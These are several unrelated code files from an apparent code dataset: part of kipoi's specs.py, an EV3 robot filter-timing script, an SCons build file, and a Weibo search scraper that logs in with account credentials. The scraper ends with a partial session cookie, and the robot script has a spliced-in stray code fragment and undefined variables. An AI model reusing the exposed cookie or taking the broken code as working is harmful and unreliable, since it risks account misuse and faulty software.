default_flow_style=False))\n\n def gpu(self):\n \"\"\"Get the gpu - version of the dependencies\n \"\"\"\n\n def replace_gpu(dep):\n if dep.startswith(\"tensorflow\") and \"gpu\" not in dep:\n new_dep = dep.replace(\"tensorflow\", \"tensorflow-gpu\")\n logger.info(\"use gpu: Replacing the dependency {0} with {1}\".format(dep, new_dep))\n return new_dep\n if dep.startswith(\"pytorch-cpu\"):\n new_dep = dep.replace(\"pytorch-cpu\", \"pytorch\")\n logger.info(\"use gpu: Replacing the dependency {0} with {1}\".format(dep, new_dep))\n return new_dep\n return dep\n\n deps = self.normalized()\n deps.conda = [dep for dep in deps.conda if dep != \"cpuonly\"]\n return Dependencies(\n conda=[replace_gpu(dep) for dep in deps.conda],\n pip=[replace_gpu(dep) for dep in deps.pip],\n conda_channels=deps.conda_channels)\n\n def osx(self):\n \"\"\"Get the os - x compatible dependencies\n \"\"\"\n # As of pytorch 1.11 from here https://pytorch.org/get-started/locally/\n # Linux installation: conda install pytorch torchvision torchaudio \n # cpuonly -c pytorch\n # Mac installation: conda install pytorch torchvision torchaudio \n # -c pytorch\n from sys import platform\n if platform != 'darwin':\n logger.warning(\"Calling osx dependency conversion on non-osx platform: {}\".\n format(platform))\n\n def replace_osx(dep):\n if dep.startswith(\"pytorch-cpu\"):\n new_dep = dep.replace(\"pytorch-cpu\", \"pytorch\")\n logger.info(\"osx: Replacing the dependency {0} with {1}\".\n format(dep, new_dep))\n return new_dep\n return dep\n\n deps = self.normalized()\n deps.conda = [dep for dep in deps.conda if dep != \"cpuonly\"]\n\n return Dependencies(\n conda=[replace_osx(dep) for dep in deps.conda],\n pip=[replace_osx(dep) for dep in deps.pip],\n conda_channels=deps.conda_channels)\n\n # @classmethod\n # def from_file(cls, path):\n # \"\"\"TODO instantiate Dependencies from a yaml file\n # \"\"\"\n # pass\n\n\n@related.mutable(strict=False)\nclass DataLoaderImport(RelatedConfigMixin):\n \"\"\"Dataloader specification for the import\n \"\"\"\n defined_as = related.StringField()\n default_args = related.ChildField(dict, default=OrderedDict(), required=False)\n # specify also dataloader dependencies explicitly\n dependencies = related.ChildField(Dependencies,\n default=Dependencies(),\n required=False)\n # whether to parse the dependencies from the dataloader when installing it\n parse_dependencies = related.BooleanField(default=True, required=False)\n\n def get(self):\n \"\"\"Get the dataloader\n \"\"\"\n from kipoi.data import BaseDataLoader\n from copy import deepcopy\n obj = load_obj(self.defined_as)\n\n # check that it inherits from BaseDataLoader\n if not inherits_from(obj, BaseDataLoader):\n raise ValueError(\"Dataloader: {} doen't inherit from kipoi.data.BaseDataLoader\".format(self.defined_as))\n\n # override the default arguments\n if self.default_args:\n obj = override_default_kwargs(obj, self.default_args)\n\n # override also the values in the example in case\n # they were previously specified\n for k, v in self.default_args.items():\n \n if not isinstance(obj.args[k].example, UNSPECIFIED):\n obj.args[k].example = v\n\n return obj\n\n\n@related.mutable(strict=False)\nclass ModelTest(RelatedLoadSaveMixin):\n # predictions = related.\n expect = AnyField(default=None, required=False)\n precision_decimal = related.IntegerField(default=7, required=False)\n\n # Arrays should be almost equal to `precision_decimal` places\n # https://docs.scipy.org/doc/numpy-1.15.1/reference/generated/numpy.testing.assert_almost_equal.html\n # abs(desired-actual) < 1.5 * 10**(-precision_decimal)\n\n def __attrs_post_init__(self):\n if self.expect is not None:\n if not isinstance(self.expect, str):\n # it has to be the url\n if not (isinstance(self.expect, dict) and \"url\" in self.expect):\n raise ValueError(\"expect is not a file path, expecting a url field with entries: url and md5\")\n self.expect = RemoteFile.from_config(self.expect)\n\n\n# --------------------------------------------\n# Final description classes modelling the yaml files\n@related.mutable(strict=False)\nclass ModelDescription(RelatedLoadSaveMixin):\n \"\"\"Class representation of model.yaml\n \"\"\"\n args = related.ChildField(dict)\n info = related.ChildField(ModelInfo)\n schema = related.ChildField(ModelSchema)\n defined_as = related.StringField(required=False)\n type = related.StringField(required=False)\n default_dataloader = AnyField(default='.', required=False)\n dependencies = related.ChildField(Dependencies,\n default=Dependencies(),\n required=False)\n test = related.ChildField(ModelTest,\n default=ModelTest(),\n required=False)\n path = related.StringField(required=False)\n writers = related.ChildField(dict, default=OrderedDict(), required=False)\n\n # TODO - add after loading validation for the arguments class?\n\n def __attrs_post_init__(self):\n if self.defined_as is None and self.type is None:\n raise ValueError(\"Either defined_as or type need to be specified\")\n self.args = recursive_dict_parse(self.args, 'url', RemoteFile.from_config)\n # parse default_dataloader\n if isinstance(self.default_dataloader, dict):\n self.default_dataloader = DataLoaderImport.from_config(self.default_dataloader)\n\n\ndef example_kwargs(dl_args, cache_path=None, absolute_path=True, dry_run=False):\n \"\"\"Return the example kwargs.\n\n Args:\n dl_args: dictionary of dataloader args\n cache_path: if specified, save the examples to that directory\n \"\"\"\n example_files = {}\n for k, v in dl_args.items():\n if isinstance(v.example, UNSPECIFIED):\n continue\n if isinstance(v.example, RemoteFile) and cache_path is not None:\n if absolute_path:\n dl_dir = os.path.abspath(cache_path)\n else:\n dl_dir = cache_path\n if not os.path.exists(dl_dir):\n os.makedirs(dl_dir)\n\n # determine target path of the example file\n if v.example.name != \"\":\n # use file name as provided in the example\n path = os.path.join(dl_dir, v.example.name)\n else:\n # otherwise just call it like the argument\n path = os.path.join(dl_dir, k)\n\n example_files[k] = path\n if os.path.exists(path):\n if v.example.validate(path):\n logger.info(\"Example file for argument {} already exists\".format(k))\n else:\n logger.info(\"Example file for argument {} doesn't match the md5 \"\n \"hash {}. Re-downloading\".format(k, v.example.md5))\n if not dry_run:\n v.example.get_file(path) # TODO\n else:\n if not dry_run:\n v.example.get_file(path) # TODO\n else:\n example_files[k] = v.example\n return example_files\n # return {k: v.example for k, v in six.iteritems(dl_args) if not isinstance(v.example, UNSPECIFIED)}\n\n\ndef download_default_args(args, output_dir):\n \"\"\"Download the default files\n \"\"\"\n override = {}\n for k in args:\n # arg.default is None\n # TODO: Any need to do this when args[k] is a dict\n if args[k].default is not None:\n if isinstance(args[k].default, UNSPECIFIED):\n continue\n if isinstance(args[k].default, RemoteFile):\n # if it's a remote file, download it\n # and set the default to the file path\n\n # specify the file name and create the directory\n logger.info(\"Downloading dataloader default arguments {} from {}\".format(k, args[k].default.url))\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n if args[k].default.md5:\n fname = args[k].default.md5\n else:\n fname = \"file\"\n\n # download the parameters and override the model\n args[k].default = args[k].default.get_file(os.path.join(output_dir, fname))\n\n # build up a override dict from .default args\n if isinstance(args[k].default, bool):\n # necessary check for booleans\n override[k] = args[k].default\n elif os.path.exists(args[k].default):\n # for files, make sure we are using absolute paths\n override[k] = os.path.abspath(args[k].default)\n else:\n override[k] = args[k].default\n return override\n\n\n@related.mutable(strict=False)\nclass DataLoaderDescription(RelatedLoadSaveMixin):\n \"\"\"Class representation of dataloader.yaml\n \"\"\"\n defined_as = related.StringField()\n args = related.MappingField(DataLoaderArgument, \"name\")\n output_schema = related.ChildField(DataLoaderSchema)\n type = related.StringField(required=False)\n info = related.ChildField(Info, default=Info(), required=False)\n dependencies = related.ChildField(Dependencies, default=Dependencies(), required=False)\n path = related.StringField(required=False)\n writers = related.ChildField(dict, default=OrderedDict(), required=False)\n\n def get_example_kwargs(self):\n # return self.download_example()\n if self.path is None:\n path = \".\"\n else:\n path = self.path\n return example_kwargs(self.args, os.path.join(os.path.dirname(path), \"downloaded/example_files\"))\n\n def download_example(self, output_dir, absolute_path=False, dry_run=False):\n return example_kwargs(self.args,\n output_dir,\n absolute_path=absolute_path,\n dry_run=dry_run)\n\n def print_kwargs(self, format_examples_json=False):\n from kipoi_utils.external.related.fields import UNSPECIFIED\n if not hasattr(self, \"args\"):\n logger.warning(\"No keyword arguments defined for the given dataloader.\")\n return None\n\n args = self.args\n for k in args:\n print(\"{0}:\".format(k))\n for elm in [\"doc\", \"type\", \"optional\", \"example\"]:\n if hasattr(args[k], elm) and \\\n (not isinstance(getattr(args[k], elm), UNSPECIFIED)):\n print(\" {0}: {1}\".format(elm, getattr(args[k], elm)))\n\n # example_kwargs = self.get_example_kwargs()\n # if format_examples_json:\n # import json\n # example_kwargs = json.dumps(example_kwargs)\n # print(\"Example keyword arguments are: {0}\".format(str(example_kwargs)))\n\n print_args = print_kwargs\n\n\n\n # download example files\n # def download_example(self):\n # example_files = {}\n # for k, v in six.iteritems(self.args):\n # if isinstance(v.example, RemoteFile):\n # if self.path is None:\n # raise ValueError(\"Unable to download example files. path attribute not specified\")\n\n # dl_dir = os.path.join(self.path, \"dataloader_files\")\n # if not os.path.exists(dl_dir):\n # os.makedirs(dl_dir)\n # path = os.path.join(dl_dir, k)\n # example_files[k] = path\n # if os.path.exists(path):\n # if v.example.validate(path):\n # logger.info(\"Example file for argument {} already exists\".format(k))\n # else:\n # logger.info(\"Example file for argument {} doesn't match the md5 hash {}. Re-downloading\".format(k))\n # v.example.get_file(path) # TODO\n # else:\n # v.example.get_file(path) # TODO\n # else:\n # example_files[k] = v\n # return example_files\n\n\n# ---------------------\n# Global source config\n\n\n# TODO - write a unit-test for these three\n@related.mutable\nclass TestModelConfig(RelatedConfigMixin):\n batch_size = related.IntegerField(default=None, required=False)\n\n\n@related.mutable\nclass TestConfig(RelatedConfigMixin):\n \"\"\"Models config.yaml in the model root\n \"\"\"\n constraints = related.MappingField(TestModelConfig, \"name\", required=False,\n repr=True)\n\n\n@related.mutable\nclass SourceConfig(RelatedLoadSaveMixin):\n test = related.ChildField(TestConfig, required=False)\n # default dependencies\n dependencies = related.ChildField(Dependencies,\n default=Dependencies(),\n required=False)\n path = related.StringField(required=False)\n\n# TODO - special metadata classes should just extend the dictionary field\n# (to be fully compatible with batching etc)\n","repo_name":"kipoi/kipoi","sub_path":"kipoi/specs.py","file_name":"specs.py","file_ext":"py","file_size_in_byte":44476,"program_lang":"python","lang":"en","doc_type":"code","stars":227,"dataset":"github-code","pt":"48"} +{"seq_id":"4819585390","text":"#!/usr/bin/env python3\nfrom models.one_sensor import run as run1\nfrom models.two_sensor import run as run2\nfrom models.three_sensor import run as run3\nfrom models.unscented_KF import run as run_ukf\nfrom models.three_sensor import robot_brain as robot_brain_reusable\n\nfrom models.shared_functions import read_data_from_file_json, drive_motors\n\nimport csv\nimport json\nimport numpy as np\nfrom ev3dev2.sensor import INPUT_1, INPUT_3\nfrom ev3dev2.sensor.lego import ColorSensor, UltrasonicSensor\n#from ev3dev2.motor import OUTPUT_A, OUTPUT_C, MoveDifferential, SpeedRPM\n#from ev3dev2.wheel import EV3EducationSetTire\n\n############################\n# Load data #\n############################\n\n\"\"\"\nread in mean variance from the recordings\n\"\"\"\ndata = read_data_from_file_json('data_out.json')\n\ns1_variance = sum(data['s1']['variances'])/len(data['s1']['variances'])\ns2_variance = sum(data['s2']['variances'])/len(data['s2']['variances'])\ns3_variance = sum(data['s3']['variances'])/len(data['s3']['variances'])\n\nprint(\"variances s1:\", s1_variance, \"s2:\", s2_variance, \"s3:\", s3_variance)\n\n\"\"\"\nread generative mapping params from file\n\"\"\"\nparams = read_data_from_file_json('genmap_params.json')\n\n#assign params to globals\ns1params_a, s1params_b, s1params_c = params['s1']['a'], params['s1']['b'], params['s1']['c']\ns2params_a, s2params_b, s2params_c = params['s2']['a'], params['s2']['b'], params['s2']['c']\ns3params_a, s3params_b = params['s3']['a'], params['s3']['b']\n\ng_params = [\n s1params_a, s1params_b, s1params_c,\n s2params_a, s2params_b, s2params_c,\n s3params_a, s3params_b\n ]\n\n\n############################\n# PRINT UTIL #\n############################\ndef print_prediction(phis, dist, model_name):\n # get last prediction\n pred = phis[len(phis)-1]\n print(\" prediction \", model_name, ':', pred, \"at\", dist, \"cm\")\n\n\ndef save_log(filename, log, directory='logs/'):\n \"\"\"\n save logs in dictionary format\n \"\"\"\n PATH = directory+filename+'.csv'\n with open(PATH, 'w') as f: # You will need 'wb' mode in Python 2.x\n w = csv.DictWriter(f, log.keys())\n w.writeheader()\n w.writerow(log)\n print('log written to: '+PATH)\n\n\n\n############################\n# SENSORS #\n############################\n\"\"\"\ninitialise sensors\n\"\"\"\nl_sensor1 = ColorSensor(INPUT_1)\nl_sensor2 = ColorSensor(INPUT_3)\nus_sensor = UltrasonicSensor()\n\ndef calc_variance(data):\n \"\"\"\n Calculate the variance for a given array of po = s1_means[1:]\ndistances = distances[1:]ints\n input: data (array)\n return: variance\n \"\"\"\n mean = sum(data) / len(data)\n deviations = [(x - mean) ** 2 for x in data]\n variance = sum(deviations) / len(data)\n return variance\n\ndef mean_of_list(data):\n return sum(data) / len(data)\n\n\n############################\n# RUN #\n############################\n\n#hyperparams\ndt = 0.000001\nV = 60 #true hidden state (dist)\nV_p = 0 #prior\n\n# variance learning rate\nlr_sigmas = [0.1, 0.01, 0.001, 0.0001]\n\n# whether to giev the same measurements to each \n# robot_brain/filter or have them do it internally\n\nmeasurements_together = True\nmeasurement_log = []\n\n\nPC1_timings = []\nPC2_timings = []\nPC3_timings = []\nUKF1_timings = []\nUKF2_timings = []\nUKF3_timings = []\n\n\nN_steps = [1, 10, 100, 1000, 10000, 100000]\nN_steps = [100, 100, 100, 100, 100 , 100, 100, 100, 100, 100]\n#dist_intervals = np.arange(20, 85, 5)\n\npredictions = {'s1':{} , 's2':{}, 's3':{}, 'kf2':{}, 's2_multi':{}, 's3_learning':{}}\n\ndist=V\n\nprint(\"begin\\n---------\")\nfor N in N_steps:\n\n provided_measurements = []\n if measurements_together:\n # s1 s2 us\n provided_measurements = [[], [], []]\n #get N measurements\n for i in range(0, N):\n provided_measurements[0].append(l_sensor1.ambient_light_intensity)\n provided_measurements[1].append(l_sensor2.ambient_light_intensity)\n provided_measurements[2].append(us_sensor.distance_centimeters)\n\n measurement_log.append(provided_measurements)\n print(N ,'input size')\n\n logs_1 = run1(N, dt, V, V_p, 1, s1_variance, l_sensor1, g_params[:3], provided_measurements) \n print_prediction(logs_1['phi'], dist, '1 sensor')\n PC1_timings.append(sum(logs_1['time']))\n\n logs_2 = run2(N, dt, V, V_p, 1, [s1_variance, s2_variance], [l_sensor1, l_sensor2], g_params[:], provided_measurements, multisensory=False)\n print_prediction(logs_2['phi'], dist, '2 sensor')\n PC2_timings.append(sum(logs_2['time']))\n\n logs_3 = run3(N, dt, dist, V_p, 1, [s1_variance, s2_variance, s3_variance], [l_sensor1, l_sensor2, us_sensor], g_params[:], provided_measurements)\n print_prediction(logs_3['phi'], dist, '3 sensor')\n PC3_timings.append(sum(logs_3['time']))\n \n\n logs_ukf = run_ukf(N, [s1_variance, s2_variance, s3_variance], [l_sensor1, l_sensor2, us_sensor], g_params[:], provided_measurements, num_sensors=1)\n print_prediction(logs_ukf['phi'], dist, 'UKF')\n print('ukf2', sum(logs_ukf['time']))\n UKF1_timings.append(sum(logs_ukf['time']))\n\n logs_ukf = run_ukf(N, [s1_variance, s2_variance, s3_variance], [l_sensor1, l_sensor2, us_sensor], g_params[:], provided_measurements, num_sensors=2)\n print_prediction(logs_ukf['phi'], dist, 'UKF')\n print('ukf2', sum(logs_ukf['time']))\n UKF2_timings.append(sum(logs_ukf['time']))\n\n logs_ukf = run_ukf(N, [s1_variance, s2_variance, s3_variance], [l_sensor1, l_sensor2, us_sensor], g_params[:], provided_measurements, num_sensors=3)\n print_prediction(logs_ukf['phi'], dist, 'UKF')\n print('ukf3', sum(logs_ukf['time']))\n UKF3_timings.append(sum(logs_ukf['time']))\n\n\n\n print(PC1_timings)\n print(PC2_timings)\n print(PC3_timings)\n print(UKF1_timings)\n print(UKF2_timings)\n print(UKF3_timings)\n\n print(mean_of_list(PC1_timings))\n print(mean_of_list(PC2_timings))\n print(mean_of_list(PC3_timings))\n print(mean_of_list(UKF1_timings))\n print(mean_of_list(UKF2_timings))\n print(mean_of_list(UKF3_timings))\n\nwith open(\"PC_timings.csv\", \"w\", newline=\"\") as f:\n writer = csv.writer(f)\n writer.writerows(PC_timings)\n\nwith open(\"UKF_timings.csv\", \"w\", newline=\"\") as f:\n writer = csv.writer(f)\n writer.writerows(UKF_timings)","repo_name":"smilo7/Predictive-Coding-EV3-Robot","sub_path":"performance_analysis.py","file_name":"performance_analysis.py","file_ext":"py","file_size_in_byte":6298,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"23502614555","text":"import os\n\nAddOption('--cfg',\n dest='cfg',\n type='string',\n nargs=1,\n action='store',\n metavar='DIR',\n help='custom cfg filename')\n\nenv = Environment(CFG = GetOption('cfg'))\n\nif env['PLATFORM'] == 'darwin':\n env['CXX'] = 'clang++'\n env['CCFLAGS'] = '-stdlib=libc++ '\n env['LINKFLAGS'] = '-stdlib=libc++ '\nelif env['PLATFORM'] == 'posix':\n env['CXX'] = 'g++'\n\nincludeFlags = '-I{sfmlcosun}/include/ -I{sfguicosun}/include/ -I{catch} -I/usr/local/include/ -Isrc/'.format(\n sfmlcosun = \"/usr/local/softs/SFML/\",\n sfguicosun = \"/usr/local/softs/SFGUI/\",\n catch = \"extlib/Catch/include/\"\n)\n\nenv.Append(CCFLAGS = '-std=c++11 -Wall -Wextra -g ' + includeFlags)\nenv.Append(LIBS = ['sfml-system', 'sfml-window', 'sfml-graphics', 'sfgui'])\nenv.Append(LINKFLAGS = '-L/usr/local/softs/SFGUI/lib -L/usr/local/softs/SFML/lib')\nenv.Decider('content')\n\nsrc_dir = ['.'] # use the copy made by VariantDir\n\n# Source files:\napp_src = Glob('Application.cpp')\ncfg_src = Glob('JSON/*.cpp')\nenv_src = Glob('Lab/*.cpp')\nrand_src = Glob('Random/*.cpp')\nstats_src = Glob('Stats/*.cpp')\nutility_src = Glob('Utility/*.cpp')\n\nsrc_files = app_src + cfg_src + env_src + rand_src + stats_src + utility_src\nobjects=env.Object(source=src_files)\n\n# Use CPPPATH to automatically detect changes in header files and rebuild cpp files that need those headers.\n# This also automatically add -Isrc/ option.\nall_src_files = src_files\ndef DefineProgram(name, additional_src):\n for file in additional_src:\n all_src_files.append(file)\n\n target = env.Program(name, source = objects + additional_src, CPPPATH = src_dir)\n env.Alias(name, target)\n run = env.Command(name+\".out\",[],\"./build/\"+name+\" $CFG\", ENV = os.environ)\n env.Alias(name+\"-run\", run)\n env.Depends(run, target)\n env.AlwaysBuild(run)\n env.Default(target) # prevent auto execution of 'run' targets\n # when running `scons -Q`, for example\n ddd = env.Command(name+\".ddd.out\",[],\"ddd --args ./build/\"+name+\" $CFG\", ENV = os.environ)\n env.Depends(ddd, target)\n env.Alias(name+\"-ddd\", ddd)\n\n\nDefineProgram('UnitTests', Glob('Tests/UnitTests/*.cpp'))\nDefineProgram('NutrimentTest', Glob('Tests/GraphicalTests/NutrimentTest.cpp'))\nDefineProgram('SimpleBacteriaTest', Glob('Tests/GraphicalTests/SimpleBacteriaTest.cpp'))\nDefineProgram('GripTest', Glob('Tests/GraphicalTests/GripTest.cpp'))\nDefineProgram('TwitchingBacteriaTest', Glob('Tests/GraphicalTests/TwitchingBacteriaTest.cpp'))\nDefineProgram('SwarmBacteriaTest', Glob('Tests/GraphicalTests/SwarmBacteriaTest.cpp'))\n\nDefineProgram('application', Glob('FinalApplication.cpp'))\n\nif env['CXX'] == 'clang++':\n analyze_cmd = \"clang++ -std=c++11 -stdlib=libc++ -Wall -Wextra -Werror \" + includeFlags + \" --analyze -Xanalyzer -analyzer-output='html' \"\n file_list = ' '.join('\"' + str(f) + '\"' for f in all_src_files)\n analyze = env.Command(\"analyze.out\", all_src_files, analyze_cmd + file_list, ENV = os.environ)\n env.Alias(\"analyze\", analyze)\n\n","repo_name":"YannDubs/modellingBacterias","sub_path":"src/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24313283644","text":"import requests #网络请求\nimport re \nimport time #时间模块\nimport json\nfrom bs4 import BeautifulSoup\nimport jieba\nfrom wordcloud import WordCloud\nimport matplotlib.pyplot as plt\nfrom urllib.parse import quote\nimport traceback\nfrom datetime import datetime,timedelta\nimport csv\nimport os\nfrom time import sleep\nimport binascii\nimport base64\nimport urllib.request\nimport urllib\nimport re\nimport rsa\n\nfrom cookie import Prelogin\nfrom cookie import PostData\nfrom cookie import RSAEncoder\n\nclass Pach():\n \n def __init__(self,keyword:str,headers,starttime,endtime,filepath:str):\n self.headers = headers\n self.keyword = keyword\n self.starttime = starttime\n self.endtime = endtime\n self.filepath = filepath\n \n \n def get_text(self,url):\n try:\n self.obtain_headers()\n res = requests.get(url,headers = self.headers)\n ret = res.content\n soup = BeautifulSoup(ret,'lxml')\n return soup\n except Exception as e:\n print('Error:',e) \n \n \n #判断是否已经存在csv \n def create_csv(self):\n try:\n if os.path.isfile(self.filepath) == True:\n pass\n else:\n with open(self.filepath,'a',encoding = 'utf-8-sig',newline = '') as f:\n pass\n except Exception as e:\n print('Error:',e)\n \n \n #写入csv文件 \n def write_csv(self,comment,time1):\n try:\n with open(self.filepath,'r',encoding='utf-8-sig',newline='') as f:\n line = f.readlines()\n l = len(line)\n \n with open(self.filepath,'a+',encoding='utf-8-sig',newline='') as f:\n fieldname = ['发布时间','发布内容']\n if l == 0:\n writer = csv.DictWriter(f,fieldnames=fieldname)\n writer.writeheader()\n for i in range(int(len(time1))): \n if comment[i] != []:\n writer.writerow([time1[i]]+[comment[i]])\n writer.writerow({'发布时间':time1[i],'发布内容':comment[i]})\n \n else:\n writer = csv.writer(f)\n for i in range(int(len(time1))):\n if comment[i] != []:\n writer.writerow([time1[i]]+[comment[i]])\n except Exception as e:\n print('Error:',e)\n\n\n\n\nclass Pacn(Pach):\n \n #根据时间和关键词获得url \n def get_url(self,starttime,endtime,page):\n url0 = 'https://weibo.cn/search/mblog?hideSearchFrame=&keyword='\n keywords = quote(self.keyword)\n url1 = '&advancedfilter=1&'\n url2 = 'starttime=' + str(starttime) +'&'\n url3 = 'endtime=' + str(endtime) +'&'\n url4 = 'sort=time&page='\n url5 = str(page)\n url = url0 + keywords + url1 + url2 + url3 + url4 + url5\n print(url)\n return url\n \n def obtain_headers(self):\n pass\n \n def get_comment(self,info):\n try:\n final_text = []\n div = info.body.find_all(\"span\",class_=\"ctt\")\n for i in div:\n final_text.append(i.text)\n return final_text\n except Exception as e:\n print('Error:',e)\n \n \n #获取发布时间\n def get_publish_time(self,info):\n try:\n final_time = []\n str_time = info.body.find_all(\"span\",class_=\"ct\")\n for i in str_time:\n print(i.text.split('\\xa0'))\n publish_time = i.text.split('\\xa0')[0]\n if '刚刚' in publish_time:\n publish_time = datetime.now().strftime('%Y-%m-%d% H:%M')\n elif '分钟' in publish_time:\n minute = publish_time[:publish_time.find('分钟')]\n minute = timedelta(minutes=int(minute))\n publish_time = (datetime.now() - minute).strftime('%Y-%m-%d% H:%M')\n elif '今天' in publish_time:\n today = datetime.now().strftime('%Y-%m-%d')\n time = publish_time[3:]\n publish_time = today + ' ' + time\n elif '月' in publish_time:\n year = datetime.now().strftime('%Y')\n month = publish_time[0:2]\n day = publish_time[3:5]\n time = publish_time[7:12]\n publish_time = year + '-' + month + '-' + day + ' ' + time\n final_time.append(publish_time)\n print(final_time)\n return final_time\n except Exception as e:\n print('Error:',e)\n \n #运行爬虫\n def run(self):\n endtime_final = self.count_endtime()\n for i in endtime_final:\n time.sleep(10)\n print(i)\n for j in range(101):\n print(j)\n url = self.get_url(i,i,j)\n text = self.get_text(url)\n comment = self.get_comment(text)\n publish_time = self.get_publish_time(text)\n if publish_time == []:\n break\n else:\n self.create_csv()\n self.write_csv(comment,publish_time)\n \n def count_endtime(self):\n endtime_final = []\n #将输入的转化为事件类型计算间隔天数\n stime = str(self.starttime)\n etime = str(self.endtime)\n stime = stime[0:4]+'-'+stime[4:6]+'-'+stime[6:]\n etime = etime[0:4]+'-'+etime[4:6]+'-'+etime[6:]\n \n start = time.mktime(time.strptime(stime,'%Y-%m-%d'))\n end = time.mktime(time.strptime(etime,'%Y-%m-%d'))\n #间隔天数计算方式\n count_days = int((end - start)/(24*60*60))\n #将结束日转化为日期类型\n endtime_ = datetime.strptime(etime,'%Y-%m-%d')\n #迭代算出以一天为步的时间迭代\n for i in range(count_days+1):\n offset = timedelta(days=-i)\n #将事件类型转化为可输入爬取的int类型\n end_time = (endtime_+ offset).strftime('%Y-%m-%d')\n end_time = str(end_time)\n end_time = int(end_time[0:4]+end_time[5:7]+end_time[8:])\n endtime_final.append(end_time)\n return endtime_final\n\n \n\nclass Pacom(Pach):\n \n def __init__(self,keyword:str,headers,starttime,endtime,filepath:str,username:str,password:str):\n self.keyword = keyword\n self.starttime = starttime\n self.endtime = endtime\n self.filepath = filepath\n self.username = username\n self.password = password\n self.login_url = r'http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.19)' #noqa\n self.prelogin_url = r'https://login.sina.com.cn/sso/prelogin.php?entry=weibo&callback=sinaSSOController.preloginCallBack&su=&rsakt=mod&client=ssologin.js(v1.4.15)' #noqa\n self.header = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363' #noqa\n }\n \n def login(self):\n pubkey, servertime, nonce, rsakv = Prelogin(self.prelogin_url)\n post_data = PostData(self.username, self.password, pubkey, servertime,\n nonce, rsakv)\n session = requests.Session()\n response = session.post(self.login_url, params=post_data,\n headers=self.header)\n\n text = response.content.decode('gbk')\n pa = re.compile(r'location\\.replace\\(\\'(.*?)\\'\\)')\n redirect_url = pa.search(text).group(1)\n response = session.get(redirect_url, headers=self.header)\n return session.cookies\n \n def obtain_headers(self):\n cookie = self.login()\n dict1=requests.utils.dict_from_cookiejar(cookie)\n a = ''\n for i in range(13):\n if i != 12:\n a += str(list(dict1.items())[i][0]) + '=' +str(list(dict1.items())[i][1])+';'\n else:\n a += str(list(dict1.items())[i][0]) + '=' +str(list(dict1.items())[i][1])\n self.headers = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362',\n 'cookie':str(a)\n }\n \n \n #根据时间和关键词获得url \n def get_url(self,starttime,endtime,page):\n url0 = 'https://s.weibo.com/weibo/?q='\n keywords = quote(self.keyword)\n url1 = '&typeall=1&suball=1×cope=custom:'\n url2 = str(starttime) \n url3 = ':' + str(endtime)\n url4 = '&Refer=g'\n if int(page) > 1:\n url5 = '&page='+str(page)\n url = url0 + keywords + url1 + url2 + url3 + url4 + url5\n else:\n url = url0 + keywords + url1 + url2 + url3 + url4\n print(url)\n return url\n \n def get_comment(self,info):\n try:\n final_text = []\n div = info.body.find_all(\"div\",class_=\"content\") \n for i in div:\n t = i.find('p',class_='txt')\n b=''\n for word in t.text:\n if word != ' ' and word != '\\n':\n b+=word\n final_text.append(b)\n print(len(final_text))\n return final_text\n except Exception as e:\n print('Error:',e)\n \n #获取发布时间\n def get_publish_time(self,info):\n try:\n final_time = []\n str_time = info.body.find_all(\"div\",class_=\"content\")\n for i in str_time:\n t = i.find_all(\"p\",class_=\"from\")\n t = t[-1]\n b=''\n for word in t.text:\n if word != ' ' and word != '\\n':\n b += word\n publish_time = b.split('\\xa0')[0]\n print(publish_time)\n if '刚刚' in publish_time:\n publish_time = datetime.now().strftime('%Y-%m-%d% H:%M')\n elif '分钟' in publish_time:\n minute = publish_time[:publish_time.find('分钟')]\n minute = timedelta(minutes=int(minute))\n publish_time = (datetime.now() - minute).strftime('%Y-%m-%d% H:%M')\n elif '今天' in publish_time:\n today = datetime.now().strftime('%Y-%m-%d')\n time = publish_time[3:]\n publish_time = today + ' ' + time\n elif '月' in publish_time:\n year = datetime.now().strftime('%Y')\n month = publish_time[0:2]\n day = publish_time[3:5]\n time = publish_time[6:11]\n publish_time = year + '-' + month + '-' + day + ' ' + time\n final_time.append(publish_time[0:10])\n return final_time\n except Exception as e:\n print('Error:',e)\n \n def count_endtime(self):\n endtime_final = []\n #将输入的转化为事件类型计算间隔天数\n stime = str(self.starttime)\n etime = str(self.endtime)\n stime = stime[0:4]+'-'+stime[4:6]+'-'+stime[6:]\n etime = etime[0:4]+'-'+etime[4:6]+'-'+etime[6:]\n \n start = time.mktime(time.strptime(stime,'%Y-%m-%d'))\n end = time.mktime(time.strptime(etime,'%Y-%m-%d'))\n #间隔天数计算方式\n count_days = int((end - start)/(24*60*60))\n #将结束日转化为日期类型\n endtime_ = datetime.strptime(etime,'%Y-%m-%d')\n #迭代算出以一小时为步的时间迭代\n for i in range(count_days+1):\n offset = timedelta(days=-i)\n #将事件类型转化为可输入爬取的int类型\n end_time = (endtime_+ offset).strftime('%Y-%m-%d')\n for j in range(24):\n end_time1 = str(end_time)\n end_time1 = end_time1[0:4]+'-'+end_time1[5:7]+'-'+end_time1[8:]+'-'+str(j)\n endtime_final.append(end_time1)\n return endtime_final\n \n #运行爬虫\n def run(self):\n endtime_final = self.count_endtime()\n for i in range(len(endtime_final)-1):\n e1 = endtime_final[i]\n e2 = endtime_final[i+1]\n for j in range(50):\n print(j)\n time.sleep(5)\n url = self.get_url(e1,e2,j)\n text = self.get_text(url)\n comment = self.get_comment(text)\n publish_time = self.get_publish_time(text)\n if publish_time == []:\n break\n else:\n self.create_csv()\n self.write_csv(comment,publish_time)\n\n \n \n'''\nheaders = {\n 'user-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363',\n 'cookie' : 'ALF=1594803672; SCF=AvKkxfCkQJ6Biv6ovBZmEQTucJOUdeUUQaP1QT1DzLr2AjZHRaqTQXpY1JPpt5iLF1oG1AS8RJJLox6aMqHr-p4.; 